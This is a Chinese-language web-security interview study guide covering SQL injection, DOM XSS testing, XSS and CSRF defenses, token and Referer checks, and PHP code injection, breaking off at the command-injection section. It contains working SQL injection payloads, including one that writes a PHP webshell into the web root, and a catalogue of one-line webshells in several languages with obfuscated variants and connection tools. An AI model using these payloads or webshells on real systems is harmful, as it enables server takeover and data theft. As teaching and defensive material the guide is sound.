' OR (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema = 'your_database_name' AND table_name = 'your_table_name') > 0 --
将 your_database_name
和 your_table_name
替换为相应的值进行猜测。
- SQL Server:可使用如下注入语句:
sql
'; IF (SELECT COUNT(*) FROM sys.tables WHERE name = 'your_table_name' AND schema_id = (SELECT schema_id FROM sys.schemas WHERE name = 'dbo')) > 0 WAITFOR DELAY '0:00:05' --
2.3 获取列名
- MySQL:可使用如下注入语句获取指定表中的列名:
sql
' OR (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema = 'your_database_name' AND table_name = 'your_table_name' AND column_name = 'your_column_name') > 0 --
- SQL Server:可使用如下注入语句:
sql
'; IF (SELECT COUNT(*) FROM sys.columns WHERE object_id = OBJECT_ID('your_database_name.dbo.your_table_name') AND name = 'your_column_name') > 0 WAITFOR DELAY '0:00:05' --
3. 数据篡改
在掌握了数据库、表和列的信息后,可通过构造 UPDATE
语句来篡改数据。例如,在 MySQL 中,若要将 users
表中 username
为 test
的用户的 password
字段更新为 new_password
,可使用如下注入语句:
sql
'; UPDATE users SET password = 'new_password' WHERE username = 'test'; --
4. 提权操作(若有条件)
在某些情况下,若数据库用户具有足够的权限,可通过注入来执行系统命令或提升权限。例如,在 MySQL 中,若数据库用户有文件写入权限,可使用 INTO OUTFILE
函数写入一句话木马:
sql
'; UPDATE some_table SET some_column = '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'; --
注意事项
- 上述利用操作必须在获得目标系统所有者授权的情况下进行,否则属于违法行为。
- 不同的数据库系统对 SQL 语句的语法和函数支持可能有所不同,在实际利用时需要根据具体情况进行调整。
41.DOM型和xss自动化测试或人工测试
DOM 型 XSS(客户端跨站脚本攻击)的测试方法(人工 + 自动化)
### 一、DOM 型 XSS 的特点
- 不依赖服务器响应:漏洞触发完全在客户端(浏览器),通过 JavaScript 动态操作 DOM 时未正确过滤用户输入。
- 输入来源:URL 参数(
location.href
/hash
/search
)、localStorage
、sessionStorage
、表单输入等。 - 危险操作:
eval()
、innerHTML
、document.write()
、事件处理函数(如onclick
、onerror
)等。
二、人工测试方法
1. 识别输入点(Source)
- 检查 URL 中的参数(尤其是
#hash
和?search
部分)、表单输入、本地存储等用户可控数据。 - 示例:javascript
// URL参数:location.search、location.hash、location.pathname
let param = window.location.search.split('=')[1]; // 用户可控
// 表单输入:document.getElementById('input').value
// 本地存储:localStorage.getItem('user_data')
2. 定位危险操作(Sink)
- 搜索页面 JavaScript 中是否存在以下危险函数,且参数来自用户可控输入:
-
- DOM 操作:
innerHTML
、outerHTML
、document.write()
、insertAdjacentHTML()
- JS 执行:
eval()
、Function()
、setTimeout(..., string)
、setInterval(..., string)
- 事件绑定:
onclick
、onerror
、onmouseover
等事件属性的动态赋值(如element.onclick = user_input
)。
- DOM 操作:
3. 构造 Payload 验证
- 基础 Payload:html
<script>alert(1)</script>
- 针对不同输入点的变形:
-
- URL 参数(含
#
):plaintext
- URL 参数(含
http://example.com/#<script>alert(1)</script>
http://example.com/?q=<script>alert(1)</script>
-
- HTML 编码绕过:若输入被转义,尝试混合编码(如
<script>alert(1)</script>
)。 - 事件处理函数:若输入被用作事件属性,尝试
onerror=alert(1)
、onclick=alert(1)
。 - CSS 注入:若输入被用于
style
属性,尝试background: url("javascript:alert(1)")
。
- HTML 编码绕过:若输入被转义,尝试混合编码(如
- 验证步骤:
-
- 在输入点插入 Payload,刷新页面或触发相关操作(如点击按钮、切换路由)。
- 观察浏览器是否弹出对话框(
alert
),或通过浏览器控制台(F12)查看是否有脚本执行错误或异常日志。
三、自动化测试方法
1. 静态代码分析工具(预处理)
- 目标:分析 JavaScript 代码,定位 “输入源(Source)” 到 “危险操作(Sink)” 的数据流。
- 工具 / 方法:
-
- AST(抽象语法树)解析:使用库(如 ESTree、Acorn)解析 JS 代码,跟踪变量来源是否为用户可控输入(如
location.search
、document.getElementById('input').value
)。 - 开源工具:
- AST(抽象语法树)解析:使用库(如 ESTree、Acorn)解析 JS 代码,跟踪变量来源是否为用户可控输入(如
-
-
- DOMXSScanner:静态分析 JS 文件,检测 Source 到 Sink 的路径。
- ESLint 插件:自定义规则,禁止危险函数使用用户输入。
-
2. 动态测试工具(运行时检测)
- 目标:模拟用户输入,动态注入 Payload 并监测是否触发 XSS。
- 工具 / 方法:
-
- Headless 浏览器(Puppeteer/Selenium):
-
-
- 加载目标页面,注入 Payload 到输入点(URL、表单、本地存储等)。
- 模拟用户操作(如点击、路由切换),触发 DOM 更新。
- 监听
window.alert
、console.log
等事件,判断是否执行恶意脚本。
-
-
- javascript
// Puppeteer示例:检测URL hash是否触发XSS
const browser = await puppeteer.launch();
const page = await browser.newPage();
await page.goto('http://example.com/#<script>alert(1)</script>');
await page.on('dialog', (dialog) => {if (dialog.message() === '1') {console.log('DOM型XSS存在!');}dialog.dismiss();
});
-
- Burp Suite(配合插件):
-
-
- 使用 Burp 的爬虫爬取页面,结合DOM Invader插件,分析客户端 JS 中的 Source-Sink 路径,并自动注入 Payload。
-
-
- 专门工具:
-
-
- XSS Hunter:通过代理拦截请求,注入带唯一标识的 Payload,监测是否在客户端执行。
-
3. 自动化测试注意事项
- 浏览器环境差异:不同浏览器对 JS 和 DOM 的解析可能不同(如 IE 与 Chrome 的事件处理差异),需在主流浏览器中测试。
- 单页应用(SPA)支持:处理路由变化(如
history.pushState
、hashchange
事件),确保测试覆盖所有动态加载的页面片段。 - 异步操作处理:部分 DOM 更新可能依赖 AJAX 或定时器,需设置合理的等待时间(如
await page.waitForTimeout(1000)
)。
四、修复建议(补充)
- 输入过滤:对用户输入进行严格过滤,禁止危险字符(如
<
,>
,on*
,javascript:
)。 - 安全操作 DOM:
-
- 用
textContent
替代innerHTML
(避免执行 HTML 代码)。 - 事件绑定使用安全方法(如
addEventListener('click', func)
,而非直接赋值onclick
)。
- 用
- URL 参数处理:对
hash
和search
参数进行编码解码时,确保不直接用于危险操作。
总结
- 人工测试:聚焦客户端 JS 逻辑,手动构造 Payload 验证 “输入→危险函数” 的路径。
- 自动化测试:结合静态代码分析(定位潜在漏洞点)和动态运行时检测(实际注入 Payload),利用 Headless 浏览器模拟真实用户环境。
- 核心:DOM 型 XSS 的检测需绕过传统服务端代理,直接针对客户端 JS 和 DOM 操作,因此工具需具备解析 JS 数据流和模拟浏览器行为的能力。
42.对于xss怎莫修补建议
输入验证和过滤
1. 白名单过滤
仅允许特定的字符或字符集通过输入验证,拒绝所有不在白名单内的字符。例如,对于用户名输入,只允许字母、数字和部分特殊字符:
python
import redef validate_username(username):pattern = r'^[a-zA-Z0-9_-]+$'if re.match(pattern, username):return Truereturn False
2. 输入长度限制
限制用户输入的长度,防止攻击者通过超长输入绕过过滤机制或执行缓冲区溢出攻击。在前端和后端都应进行长度限制。前端可以使用 HTML 的 maxlength
属性:
html
<input type="text" name="username" maxlength="50">
后端则需要在接收数据时进行检查:
python
def validate_length(input_str, max_length):if len(input_str) <= max_length:return Truereturn False
输出编码
1. HTML 实体编码
在将用户输入输出到 HTML 页面时,将特殊字符转换为 HTML 实体,防止浏览器将其解析为 HTML 标签或脚本。不同编程语言有不同的实现方式,以下是 Python 和 Java 的示例:
python
import htmluser_input = '<script>alert("XSS")</script>'
encoded_input = html.escape(user_input)
print(encoded_input)
java
import org.apache.commons.text.StringEscapeUtils;public class HtmlEncodingExample {public static void main(String[] args) {String userInput = "<script>alert(\"XSS\")</script>";String encodedInput = StringEscapeUtils.escapeHtml4(userInput);System.out.println(encodedInput);}
}
2. JavaScript 编码
如果用户输入将用于 JavaScript 代码中,需要进行 JavaScript 编码,防止恶意脚本执行。例如,在 JavaScript 中可以使用 JSON.stringify()
进行编码:
javascript
const userInput = '<script>alert("XSS")</script>';
const encodedInput = JSON.stringify(userInput);
console.log(encodedInput);
HTTP 头配置
1. Content - Security - Policy(CSP)
CSP 是一种额外的安全层,用于帮助检测和缓解某些类型的 XSS 攻击。通过设置 CSP 头,你可以指定哪些来源的资源(如脚本、样式表、图片等)可以被加载。例如,只允许从当前域名加载脚本:
python
from flask import Flask, Responseapp = Flask(__name__)@app.route('/')
def index():resp = Response("Hello, World!")resp.headers['Content-Security-Policy'] = "default-src'self'; script-src'self'"return respif __name__ == '__main__':app.run()
2. X - XSS - Protection
虽然现代浏览器对 XSS 的防护能力已经很强,但 X - XSS - Protection
头仍然可以提供额外的保护。设置为 1; mode=block
可以让浏览器在检测到 XSS 攻击时阻止页面渲染:
python
from flask import Flask, Responseapp = Flask(__name__)@app.route('/')
def index():resp = Response("Hello, World!")resp.headers['X-XSS-Protection'] = '1; mode=block'return respif __name__ == '__main__':app.run()
前端框架和库的安全使用
1. React
React 默认会对所有插入到 JSX 中的内容进行编码,防止 XSS 攻击。但在使用 dangerouslySetInnerHTML
时需要特别小心,必须确保内容是安全的:
jsx
import React from 'react';const App = () => {const userInput = '<script>alert("XSS")</script>';return (<div>{/* 不推荐使用 dangerouslySetInnerHTML 且未处理的用户输入 */}{/* <div dangerouslySetInnerHTML={{ __html: userInput }} /> */}{/* 安全的做法是使用普通文本 */}<div>{userInput}</div></div>);
};export default App;
2. Vue.js
Vue.js 也会自动对数据绑定进行编码,防止 XSS 攻击。但在使用 v-html
指令时需要谨慎,确保绑定的内容是安全的:
vue
<template><div><!-- 不推荐使用 v-html 且未处理的用户输入 --><!-- <div v-html="userInput"></div> --><!-- 安全的做法是使用普通文本 --><div>{{ userInput }}</div></div>
</template><script>
export default {data() {return {userInput: '<script>alert("XSS")</script>'};}
};
</script>
定期安全审计和测试
1. 代码审查
定期对代码进行审查,检查是否存在未正确处理用户输入的情况,特别是在涉及到 HTML 输出、JavaScript 执行和表单提交的部分。
2. 安全测试
使用自动化工具(如 OWASP ZAP、Burp Suite 等)和手动测试相结合的方式,对网站进行定期的安全测试,及时发现和修复潜在的 XSS 漏洞。
43.CSRF的防御
一、核心防御手段
1. CSRF 令牌(CSRF Token)
原理:在用户与服务器交互的关键页面(如表单、按钮)中嵌入一个随机生成的令牌,服务器验证请求中的令牌是否与用户会话中的令牌一致。
实现步骤:
- 生成令牌:用户访问页面时,服务器生成一个随机字符串(如 UUID),存储在用户会话(Session)中,并通过表单隐藏字段或 HTTP 头传递给前端。
- 提交验证:用户提交请求时,携带该令牌,服务器对比请求中的令牌与 Session 中的令牌是否匹配。
代码示例(以 Web 表单为例):
- 后端生成令牌(Python Flask):python
from flask import Flask, session, request, render_template
import uuidapp = Flask(__name__)
app.secret_key = 'your_secret_key' # 用于加密会话@app.route('/form')
def form_page():csrf_token = str(uuid.uuid4())session['csrf_token'] = csrf_tokenreturn render_template('form.html', csrf_token=csrf_token)@app.route('/submit', methods=['POST'])
def submit_form():if request.form.get('csrf_token') != session.get('csrf_token'):return "CSRF 攻击检测", 403# 处理正常业务逻辑return "提交成功"
- 前端嵌入令牌(HTML 表单):html
<form method="POST" action="/submit"><input type="hidden" name="csrf_token" value="{{ csrf_token }}"><input type="text" name="data"><button type="submit">提交</button>
</form>
注意:
- 令牌需足够随机且不可预测(如使用 UUID、加密哈希)。
- 每个用户会话(Session)独立生成令牌,避免重用。
- 令牌可绑定用户 IP 或 User-Agent(可选,可能影响兼容性)。
2. 同源检查(Origin/Referer 验证)
原理:验证请求的来源是否为本站,防止跨站请求。
- 检查
Origin
头:现代浏览器会自动携带Origin
头(如https://yourdomain.com
),服务器验证其是否为合法域名。 - 检查
Referer
头:验证请求的来源页面是否为本站(可能不可靠,因部分浏览器不发送或用户可禁用)。
代码示例(Node.js Express):
javascript
app.post('/submit', (req, res) => {const origin = req.headers.origin;const allowedOrigins = ['https://yourdomain.com', 'https://sub.yourdomain.com'];if (!allowedOrigins.includes(origin)) {return res.status(403).send('非法来源');}// 处理业务逻辑
});
注意:
Referer
头可能被篡改或省略,建议与令牌结合使用。- 仅适用于浏览器发起的请求(如 AJAX、表单提交),不适用于非浏览器客户端(如小程序、App)。
3. 双重提交 Cookie(Double Submit Cookie)
原理:在 Cookie 中存储一个令牌,同时在请求体或 URL 中携带相同的令牌,服务器验证两者是否一致(利用浏览器自动携带同源 Cookie 的特性)。
实现步骤:
- 用户访问页面时,服务器在 Cookie 中设置随机令牌(如
csrftoken=abc123
)。 - 提交请求时,将该令牌放入请求体或参数中(如
csrftoken=abc123
)。 - 服务器对比 Cookie 中的令牌与请求中的令牌是否一致。
代码示例(Java Spring Boot):
java
@PostMapping("/submit")
public String submitForm(@CookieValue("csrftoken") String cookieToken,@RequestParam("csrftoken") String requestToken) {if (!cookieToken.equals(requestToken)) {return "error"; // CSRF 攻击检测}// 处理业务逻辑return "success";
}
优势:无需依赖 Session,适用于无状态架构(如 JWT 认证)。
注意:Cookie 需设置 HttpOnly
(防 XSS 窃取)和 SameSite
属性(见下文)。
二、辅助防御措施
4. Cookie 安全属性
SameSite
属性:设置为Strict
或Lax
,限制第三方站点携带 Cookie。
-
Strict
:仅允许同源请求携带 Cookie(安全性最高,可能影响跨站跳转)。Lax
:允许同源请求及部分安全的跨站请求(如 GET 方法的链接跳转)。
- http
Set-Cookie: sessionId=123; SameSite=Lax; Secure; HttpOnly
Secure
和HttpOnly
:
-
Secure
:仅 HTTPS 环境下发送 Cookie,防止中间人攻击。HttpOnly
:防止 XSS 脚本读取 Cookie(XSS 是 CSRF 的主要辅助攻击手段)。
5. 限制请求方法
- 对敏感操作(如 POST、PUT、DELETE)严格验证 CSRF,GET 请求通常无需 CSRF 保护(因无副作用,但需防止 URL 重定向滥用)。
- 使用 RESTful 规范,明确区分不同 HTTP 方法的语义。
6. 验证码(CAPTCHA)
- 对高风险操作(如修改密码、大额转账)强制要求用户输入验证码,确保请求由真人发起。
- 缺点:影响用户体验,建议按需使用。
三、框架 / 库的内置防护
大多数 Web 框架已内置 CSRF 防护,可直接启用:
- Django:默认启用 CSRF 中间件,自动生成和验证令牌(需在模板中添加
{% csrf_token %}
)。 - Spring Boot:通过
@EnableWebSecurity
和CsrfTokenRequestAttributeHandler
配置,或在表单中使用<input type="hidden" name="${_csrf.parameterName}" value="${_csrf.token}">
。 - Ruby on Rails:自动为每个表单生成
authenticity_token
,需在控制器中启用protect_from_forgery
。 - 前端框架(如 Vue/React):通过 AJAX 请求头携带 CSRF 令牌(如在请求头中添加
X-CSRF-Token
)。
四、最佳实践总结
- 组合防御:同时使用 CSRF 令牌 + SameSite Cookie + 同源检查,覆盖不同攻击场景。
- 会话管理:确保会话令牌(如 Session ID)的随机性和时效性,避免泄露。
- 最小权限原则:对敏感操作(如支付、账户修改)增加额外验证(如二次认证)。
- 定期测试:使用安全工具(如 Burp Suite)模拟 CSRF 攻击,验证防御有效性。
通过以上措施,可有效降低 CSRF 攻击风险。核心在于确保 “请求确实由用户主动发起”,而非被第三方站点伪造。
44.token和referer做横向对比,谁安全等级高
一、核心原理对比
防御手段 | 核心机制 | 安全性依赖 |
Token | 服务器生成随机令牌,存储于用户会话(Session/Cookie),并要求客户端在请求中携带该令牌进行验证。 | 令牌的随机性、不可预测性和会话绑定。 |
Referer | 验证请求的 头,检查来源是否为本站合法域名(如 )。 | 浏览器正确发送且未被篡改的 Referer 头。 |
二、安全性关键差异
1. 抗伪造能力
- Token:
-
- 令牌由服务器生成,且与用户会话绑定(如 Session ID),攻击者无法通过跨站请求获取用户的合法令牌(除非存在 XSS 漏洞窃取令牌)。
- 即使令牌通过 URL 或表单传输,其随机性(如 UUID、加密哈希)使暴力破解几乎不可能。
- 结论:攻击者无法伪造有效令牌,安全性强。
- Referer:
-
Referer
头可被浏览器篡改、省略或禁用(如用户使用隐私模式、浏览器配置限制,或从 HTTPS 跳转到 HTTP 页面时,Referer 可能被清空)。- 攻击者可通过构造特殊页面(如嵌入本站链接的图片),诱导浏览器发送合法 Referer 头(部分场景下)。
- 结论:Referer 头可控性差,存在绕过可能(如 Referer 欺骗)。
2. 浏览器兼容性与可靠性
- Token:
-
- 不依赖浏览器特性,适用于所有客户端(浏览器、小程序、App 等),只要能携带令牌即可验证。
- 服务器端逻辑统一,验证逻辑明确(令牌匹配即通过,否则拒绝)。
- Referer:
-
- 不同浏览器对 Referer 头的处理策略不一致(如 Chrome 会自动省略部分隐私信息),且部分场景下不发送 Referer(如文件协议、本地跳转)。
- 依赖用户浏览器配置,无法保证一致性(如用户安装插件禁用 Referer 发送)。
3. 防御边界
- Token:
-
- 直接验证请求的 “合法性”(令牌正确即认为用户主动发起请求),不依赖请求来源,适用于所有敏感操作(POST/PUT/DELETE 等)。
- Referer:
-
- 仅能验证 “请求是否来自本站”,但无法保证请求是用户主动发起(如攻击者诱导用户访问本站恶意页面,Referer 合法但请求仍为伪造)。
- 无法防御站内 CSRF 攻击(如恶意用户在本站发布包含伪造请求的链接)。
三、典型攻击场景下的表现
攻击场景 | Token 防御效果 | Referer 防御效果 |
跨站表单伪造(常规场景) | ✅ 有效 | ✅ 有效(若 Referer 正确) |
Referer 头被浏览器省略 | ✅ 不受影响 | ❌ 防御失效 |
攻击者构造合法 Referer 页面 | ✅ 仍需有效令牌 | ❌ 可能绕过 |
站内恶意页面发起伪造请求 | ✅ 有效(令牌未泄露) | ❌ 防御失效(Referer 合法) |
非浏览器客户端(如 App)请求 | ✅ 有效 | ❌ 不适用(无 Referer) |
四、安全等级结论
- Token 的安全等级更高:
-
- 核心优势在于主动验证请求的合法性(令牌是用户会话的 “数字签名”),不依赖不可靠的浏览器特性,且能抵御几乎所有 CSRF 攻击场景(除非令牌泄露,而泄露通常是 XSS 等其他漏洞导致)。
- Referer 的安全等级较低:
-
- 本质是 “被动检查来源”,存在天然缺陷(Referer 可控 / 不可靠),仅能作为辅助手段,绝不能单独使用。
五、最佳实践:组合防御
虽然 Token 安全性更高,但实际应用中建议 Token + Referer + SameSite Cookie 组合使用:
- Token:作为核心验证机制,确保请求由用户主动发起。
- Referer:作为额外过滤(如拒绝明显跨站的非法来源)。
- SameSite Cookie:限制第三方站点携带 Cookie,减少攻击面。
总结:Token 是 CSRF 防御的 “黄金标准”,而 Referer 是 “薄弱补充”。优先实现 Token 机制,Referer 仅作为增强策略的可选方案。
45.对referer的验证,你从什么角度去做?如果做,怎莫杜绝问题
验证 Referer
的角度
1. 域名验证
- 原理:检查
Referer
头中的域名是否与当前网站的域名一致或者属于可信任的域名列表。这样可以确保请求是从合法的来源发起的。 - 示例:假设当前网站域名为
example.com
,服务器在处理请求时,会提取Referer
头中的域名部分,检查是否为example.com
或者是在预先定义的可信任域名列表中。
python
import urllib.parsedef validate_referer_domain(referer, trusted_domains):if referer:parsed_referer = urllib.parse.urlparse(referer)return parsed_referer.netloc in trusted_domainsreturn Falsetrusted_domains = ['example.com']
referer = 'https://example.com/somepage'
print(validate_referer_domain(referer, trusted_domains))
2. 协议验证
- 原理:确保
Referer
头中的协议(如http
或https
)符合网站的安全要求。通常,建议只接受https
协议的请求,以避免通过不安全的连接发起的请求。 - 示例:检查
Referer
头中的协议是否为https
。
python
import urllib.parsedef validate_referer_protocol(referer):if referer:parsed_referer = urllib.parse.urlparse(referer)return parsed_referer.scheme == 'https'return Falsereferer = 'https://example.com/somepage'
print(validate_referer_protocol(referer))
3. 路径验证
- 原理:对
Referer
头中的路径部分进行验证,确保请求是从网站内的合法页面发起的。可以通过检查路径是否符合特定的模式或者是否属于允许的路径列表来实现。 - 示例:只允许从
/secure/
路径下的页面发起请求。
python
import urllib.parsedef validate_referer_path(referer, allowed_paths):if referer:parsed_referer = urllib.parse.urlparse(referer)for path in allowed_paths:if parsed_referer.path.startswith(path):return Truereturn Falseallowed_paths = ['/secure/']
referer = 'https://example.com/secure/somepage'
print(validate_referer_path(referer, allowed_paths))
杜绝 Referer
验证问题的方法
1. 处理 Referer
缺失的情况
- 原因:有些浏览器可能会因为用户的隐私设置或者安全策略而不发送
Referer
头,或者在某些特殊情况下(如从https
页面跳转到http
页面)会自动省略Referer
头。 - 解决方法:在服务器端代码中,需要明确处理
Referer
头缺失的情况。可以选择拒绝请求,或者根据具体业务需求进行其他处理。
python
from flask import Flask, requestapp = Flask(__name__)@app.route('/submit', methods=['POST'])
def submit():referer = request.headers.get('Referer')if not referer:return 'Referer 头缺失,请求被拒绝', 403# 进行其他验证return '请求处理成功'if __name__ == '__main__':app.run()
2. 防止 Referer
头被篡改
- 原因:虽然
Referer
头是由浏览器自动发送的,但攻击者可能会通过一些技术手段(如中间人攻击)篡改Referer
头。 - 解决方法:结合其他安全机制,如 CSRF 令牌验证,来增强安全性。CSRF 令牌验证不依赖于
Referer
头,即使Referer
头被篡改,只要令牌验证失败,请求仍然会被拒绝。
3. 考虑浏览器兼容性
- 原因:不同浏览器对
Referer
头的处理方式可能存在差异,有些浏览器可能会对Referer
头进行一些修改或者省略。 - 解决方法:在进行
Referer
验证时,要充分考虑不同浏览器的兼容性。可以通过测试不同浏览器的行为,调整验证逻辑,确保在各种浏览器环境下都能正常工作。
4. 定期更新可信任列表
- 原因:随着业务的发展和安全需求的变化,可信任的域名、协议和路径可能会发生变化。如果不及时更新可信任列表,可能会导致合法请求被拒绝或者非法请求被放行。
- 解决方法:建立定期审查和更新可信任列表的机制,确保验证逻辑始终符合当前的安全要求。
需要注意的是,虽然 Referer
验证可以提供一定的安全防护,但它并不是万无一失的,建议结合其他安全措施(如 CSRF 令牌、SameSite Cookie 等)来提高网站的整体安全性。
46.针对token的攻击,你会对token的哪方面进行测试
1. 生成过程测试
1.1 随机性测试
- 测试目的:确保 Token 是随机生成的,攻击者难以通过猜测或暴力破解的方式获取有效的 Token。
- 测试方法:生成大量的 Token,检查是否存在重复或可预测的模式。可以使用统计分析工具,计算 Token 的熵值,熵值越高表示随机性越好。
- 示例代码(Python):
python
import random
import string# 生成Token的函数
def generate_token(length):characters = string.ascii_letters + string.digitsreturn ''.join(random.choice(characters) for i in range(length))# 生成1000个Token
tokens = [generate_token(32) for _ in range(1000)]
# 检查是否有重复的Token
if len(set(tokens)) != len(tokens):print("存在重复的Token,随机性不足")
else:print("未发现重复Token,随机性较好")
1.2 长度测试
- 测试目的:确保 Token 的长度足够长,以增加破解的难度。一般来说,Token 的长度应至少为 128 位(16 字节)。
- 测试方法:检查生成的 Token 的长度是否符合要求。
- 示例代码(Python):
python
token = generate_token(32)
if len(token) < 16:print("Token长度过短,安全性不足")
else:print("Token长度符合要求")
1.3 加密算法测试
- 测试目的:如果 Token 使用了加密算法进行生成,需要确保加密算法的强度足够高,并且没有已知的安全漏洞。
- 测试方法:检查使用的加密算法是否为行业认可的安全算法,如 SHA - 256、AES 等。同时,检查加密密钥的管理是否安全,是否定期更换密钥。
2. 传输过程测试
2.1 安全性测试
- 测试目的:确保 Token 在传输过程中是安全的,不会被中间人窃取或篡改。
- 测试方法:使用网络抓包工具(如 Wireshark)捕获 Token 的传输过程,检查 Token 是否以明文形式传输。如果是,建议使用 HTTPS 协议进行传输,以加密数据。
2.2 完整性测试
- 测试目的:确保 Token 在传输过程中没有被篡改。
- 测试方法:在服务器端对接收的 Token 进行完整性验证,如使用哈希算法计算 Token 的哈希值,并与发送方计算的哈希值进行比较。
- 示例代码(Python):
python
import hashlib# 计算Token的哈希值
def calculate_hash(token):hash_object = hashlib.sha256(token.encode())return hash_object.hexdigest()# 模拟发送方
token = generate_token(32)
sender_hash = calculate_hash(token)# 模拟接收方
received_token = token
received_hash = calculate_hash(received_token)if sender_hash == received_hash:print("Token完整性验证通过")
else:print("Token完整性验证失败,可能被篡改")
3. 存储过程测试
3.1 安全性测试
- 测试目的:确保 Token 在存储过程中是安全的,不会被非法访问或泄露。
- 测试方法:检查 Token 的存储方式,如是否存储在数据库中,数据库是否有适当的访问控制和加密机制。如果 Token 存储在 Cookie 中,检查 Cookie 是否设置了
HttpOnly
和Secure
属性。
3.2 过期机制测试
- 测试目的:确保 Token 有合理的过期机制,过期后不能再被使用。
- 测试方法:在 Token 生成时设置一个过期时间,在过期时间之后尝试使用该 Token 进行身份验证,检查是否被拒绝。
- 示例代码(Python):
python
import time# 模拟Token存储
tokens = {}# 生成带过期时间的Token
def generate_token_with_expiry(length, expiry_seconds):token = generate_token(length)expiry_time = time.time() + expiry_secondstokens[token] = expiry_timereturn token# 验证Token
def validate_token(token):if token in tokens:if time.time() < tokens[token]:return Trueelse:del tokens[token]return False# 生成一个有效期为60秒的Token
token = generate_token_with_expiry(32, 60)
# 立即验证
print(validate_token(token))
# 等待61秒后再验证
time.sleep(61)
print(validate_token(token))
4. 使用过程测试
4.1 唯一性测试
- 测试目的:确保每个 Token 都是唯一的,不会出现重复使用的情况。
- 测试方法:在系统中记录每个 Token 的使用情况,检查是否有重复使用的 Token。
4.2 权限验证测试
- 测试目的:确保 Token 具有正确的权限,只能访问其被授权的资源。
- 测试方法:使用不同权限的 Token 尝试访问不同的资源,检查是否能够正常访问。
4.3 并发使用测试
- 测试目的:确保 Token 在并发环境下能够正常使用,不会出现冲突或安全漏洞。
- 测试方法:使用并发测试工具(如 JMeter)模拟多个用户同时使用相同或不同的 Token 进行请求,检查系统的响应是否正常。
47.简述你知道的一句话木马
一、按编程语言分类
1. PHP 一句话木马
- 经典形式:php
<?php @eval($_POST['cmd']); ?>
-
- 原理:通过
eval()
函数将用户通过 POST 提交的cmd
参数作为 PHP 代码执行。 - 变形:
- 原理:通过
-
-
- 绕过禁用函数:
<?php @\${%24_GET['f']}(\${%24_POST['d']}); ?>
(动态调用函数,如f=eval
)。 - 加密传输:
<?php eval(gzuncompress(base64_decode($_POST['cmd']))); ?>
(对恶意代码先 Base64 编码再压缩,躲避检测)。
- 绕过禁用函数:
-
2. ASP 一句话木马
- 经典形式:asp
<%eval request("cmd")%>
-
- 原理:利用 VBScript 的
eval
函数执行 GET/POST 请求中的cmd
参数。 - 特点:依赖 IIS 服务器,常见于早期 Web 应用。
- 原理:利用 VBScript 的
3. JSP 一句话木马
- 经典形式:jsp
<%@ page import="java.util.*,java.io.*"%><% new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("\\A").next(); %>
-
- 原理:通过
Runtime.getRuntime().exec()
执行系统命令,返回结果通过 Scanner 读取。 - 简化版(依赖回显):jsp
- 原理:通过
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
4. Python(Flask / 任意文件)
- Flask 一句话:python
from flask import Flask, request; app = Flask(__name__); @app.route('/') def cmd(): exec(request.form['cmd']); return ''; if __name__ == '__main__': app.run()
-
- 原理:通过 Flask 框架接收 POST 请求,用
exec()
执行用户输入的 Python 代码。
- 原理:通过 Flask 框架接收 POST 请求,用
- 通用 CGI 形式:python
#!/usr/bin/python3; import os; os.system(input().read())
5. 其他语言
- ASP.NET(C#):csharp
<%@ Page Language="C#" %><% System.Diagnostics.Process.Start(Request["cmd"]); %>
- Node.js:javascript
http.createServer((req, res) => { req.on('data', d => eval(d)); }).listen(8080);
二、核心功能与使用方式
1. 核心功能
- 命令执行:通过
eval()
、exec()
等函数执行系统命令(如ls
、cat /etc/passwd
、rm -rf
等)。 - 文件操作:读写服务器文件(如
file_get_contents()
、fwrite()
),用于上传 / 下载木马或敏感数据。 - 权限提升:结合服务器漏洞(如弱权限配置)进一步获取管理员权限。
2. 连接工具
- 中国菜刀(China Chopper):通过 POST 提交加密数据与木马通信,支持可视化文件管理、命令执行。
- 蚁剑(AntSword):开源跨平台工具,使用 AES 加密传输数据,支持多种编码绕过(如 Unicode、十六进制)。
- 操作流程:
-
- 上传一句话木马到服务器(如通过文件上传漏洞、后台管理界面)。
- 使用工具连接木马 URL,输入密码(如
cmd
参数名),发送恶意代码。
三、危害与防御
1. 主要危害
- 服务器沦陷:攻击者可远程控制服务器,篡改网页、窃取数据、植入勒索软件。
- 数据泄露:读取数据库配置文件(如
config.php
)、用户凭证(如passwd
)。 - 横向渗透:以当前服务器为跳板,攻击内网其他设备(如通过
ping
、nmap
探测内网)。
2. 防御措施
- 禁用危险函数:
-
- PHP 中禁用
eval()
、exec()
、system()
等函数(通过php.ini
的disable_functions
)。 - Java 中限制
Runtime.exec()
的调用权限。
- PHP 中禁用
- 输入验证:对用户输入的参数进行严格过滤,禁止执行代码相关关键词(如
eval
、exec
、onload
)。 - 文件权限控制:上传目录设置为不可执行(如 Linux 下权限
644
),避免脚本被解析。 - 安全扫描:使用静态代码分析工具(如 SonarQube)检测是否存在危险函数调用,定期扫描服务器文件(如通过
grep
搜索eval
关键词)。
四、总结
一句话木马的核心是 通过用户输入动态执行代码,其 “短小精悍” 的特性使其易于隐藏和传播。防御的关键在于 切断 “输入→代码执行” 的链条,包括禁用危险函数、严格输入过滤、最小化文件权限等。在实际安全测试中,需重点检测文件上传功能、用户可控的代码执行点(如模板引擎、动态函数调用)。
48.简述PHP代码注入和命令注入的成因和危害
PHP 代码注入
成因
- 用户输入过滤不足:PHP 应用程序在接收用户输入时,若未对输入内容进行严格的过滤和验证,攻击者就可能通过构造恶意输入,将恶意的 PHP 代码注入到正常的代码逻辑中。例如,在使用
eval()
、assert()
等函数时,直接将用户输入作为参数传入,而没有进行任何处理。
php
// 存在代码注入风险的示例
$input = $_GET['code'];
eval($input);
- 动态函数调用:使用变量来调用函数时,如果变量的值来自用户输入且未经过严格验证,攻击者可以通过控制变量的值来调用任意函数。
php
// 存在风险的动态函数调用
$func = $_GET['func'];
$func();
危害
- 执行任意代码:攻击者可以注入任意 PHP 代码,从而执行系统命令、读写文件、修改数据库等操作,完全控制服务器。例如,攻击者可以注入代码来读取敏感文件(如数据库配置文件),获取数据库的用户名和密码。
- 数据泄露:攻击者可以通过注入代码查询数据库中的敏感信息,如用户的个人信息、财务信息等,并将这些信息泄露出去。
- 服务器被篡改:攻击者可以注入代码来修改服务器上的文件,如修改网站的首页,植入恶意广告或进行钓鱼攻击。
命令注入
成因
